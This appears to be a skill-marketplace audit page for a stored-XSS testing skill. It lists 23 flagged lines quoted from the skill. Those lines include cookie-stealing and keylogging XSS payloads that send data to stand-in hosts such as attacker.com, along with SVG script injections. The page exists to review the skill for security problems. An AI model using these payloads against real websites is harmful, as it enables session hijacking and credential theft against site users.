wstg-inpv-02
Tests for stored cross-site scripting (XSS) vulnerabilities in web applications, ensuring user input is properly sanitized.
Install this skill
Security score
The wstg-inpv-02 skill was audited on May 24, 2026 and we found 23 security issues across 2 threat categories. Review the findings below before installing.
Categories Tested
Security Issues
Template literal with variable interpolation in command context
| 51 | ```bash |
External URL reference
| 55 | TARGET="https://target.com" |
External URL reference
| 107 | '<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>', |
External URL reference
| 108 | '<img src=x onerror="fetch(\'https://attacker.com/?\'+document.cookie)">', |
External URL reference
| 111 | '<script>document.onkeypress=function(e){new Image().src="https://attacker.com/log?k="+e.key}</script>', |
External URL reference
| 114 | '<script>document.forms[0].action="https://attacker.com/steal"</script>', |
External URL reference
| 196 | <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> |
External URL reference
| 197 | <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> |
External URL reference
| 270 | '<script src="https://xsshunter.com/probe.js"></script>', |
External URL reference
| 271 | '<img src=x onerror="fetch(\'https://attacker.com/blind?\'+document.cookie)">', |
External URL reference
| 335 | tester = StoredXSSTester("https://target.com") |
External URL reference
| 344 | "><script src=https://yourxsshunter.xss.ht></script> |
External URL reference
| 345 | <img src=x onerror="var i=new Image();i.src='https://yourserver.com/xss?cookie='+btoa(document.cookie)+'&url='+btoa(document.URL)"> |
External URL reference
| 350 | var exfil = 'https://attacker.com/collect?'; |
External URL reference
| 363 | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> |
External URL reference
| 366 | <svg xmlns="http://www.w3.org/2000/svg"> |
External URL reference
| 371 | <svg xmlns="http://www.w3.org/2000/svg"> |
External URL reference
| 372 | <use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x"/> |
External URL reference
| 376 | <svg xmlns="http://www.w3.org/2000/svg"> |
External URL reference
| 378 | <body xmlns="http://www.w3.org/1999/xhtml"> |
External URL reference
| 466 | - [OWASP Stored XSS](https://owasp.org/www-community/attacks/xss/) |
External URL reference
| 467 | - [PortSwigger Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored) |
External URL reference
| 468 | - [XSS Hunter](https://xsshunter.com/) |